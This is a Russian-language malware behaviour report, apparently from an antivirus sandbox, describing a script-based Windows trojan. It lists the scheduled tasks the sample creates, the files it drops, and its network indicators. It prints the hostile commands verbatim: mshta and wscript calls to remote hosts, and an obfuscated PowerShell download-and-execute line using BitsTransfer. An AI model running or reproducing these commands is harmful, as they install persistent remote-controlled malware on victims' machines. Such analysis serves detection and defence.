Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\updaterz
- <SYSTEM32>\tasks\updaterv
- <SYSTEM32>\tasks\updaterx
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\mshta.exe' http://5.##5.63.12/1/t.htm
- '<SYSTEM32>\wscript.exe' /b \\ip1.qqww.eu\1\bm.js
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 1 /F /TN "Updaterv" /TR "<SYSTEM32>\wscript.exe /b %PROGRAMDATA%\bo.js"
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 2 /F /TN "Updaterz" /TR "<SYSTEM32>\wscript.exe /b \\ip1.qqww.eu\1\bm.js"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep Bypass -c "$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r http://ip#.qqww.eu/1/b2.js $env:programdata\bo.js;');"
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 1 /F /TN "Updaterx" /TR "wscript.exe /b \\5.255.63.12\1\bm.js"
Изменения в файловой системе
Создает следующие файлы
- %PROGRAMDATA%\bm.js
- %PROGRAMDATA%\bit4a0c.tmp
Присваивает атрибут 'скрытый' для следующих файлов
- %PROGRAMDATA%\bit4a0c.tmp
Перемещает следующие файлы
- %PROGRAMDATA%\bit4a0c.tmp в %PROGRAMDATA%\bo.js
Сетевая активность
Подключается к
- 'ip#.qqww.eu':87
- 'ip#.qqww.eu':80
TCP
Запросы HTTP GET
- http://5.##5.63.12/1/t.htm
- http://ip#.qqww.eu/1/b2.js
Запросы HTTP POST
- http://5.###.63.12:87/is-bekle
- http://5.###.63.12:87/is-enum-faf
UDP
- DNS ASK ip#.qqww.eu
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' /b %PROGRAMDATA%\bo.js
- '<SYSTEM32>\wscript.exe' /b \\ip1.qqww.eu\1\bm.js' (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 1 /F /TN "Updaterv" /TR "<SYSTEM32>\wscript.exe /b %PROGRAMDATA%\bo.js"' (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 2 /F /TN "Updaterz" /TR "<SYSTEM32>\wscript.exe /b \\ip1.qqww.eu\1\bm.js"' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep Bypass -c "$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r http://ip#.qqww.eu/1/b2.js $env:programdata\bo.js;');"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /SC MINUTE /MO 1 /F /TN "Updaterx" /TR "wscript.exe /b \\5.255.63.12\1\bm.js"' (со скрытым окном)
- '<SYSTEM32>\wscript.exe' /b \\5.255.63.12\1\bm.js' (со скрытым окном)
- '<SYSTEM32>\wscript.exe' /b %PROGRAMDATA%\bo.js' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /SC MINUTE /MO 1 /F /TN "Updaterx" /TR "wscript.exe /b \\5.255.63.12\1\bm.js"
- '<SYSTEM32>\taskeng.exe' {FB099A13-75CE-43BD-AC51-43C988829510} S-1-5-21-1960123792-2022915161-3775307078-1001:klhrlkhxr\user:Interactive:[1]
- '<SYSTEM32>\wscript.exe' /b \\5.255.63.12\1\bm.js
- '<SYSTEM32>\wscript.exe' /b %PROGRAMDATA%\bo.js
- '<SYSTEM32>\wscript.exe' /b \\ip1.qqww.eu\1\bm.js
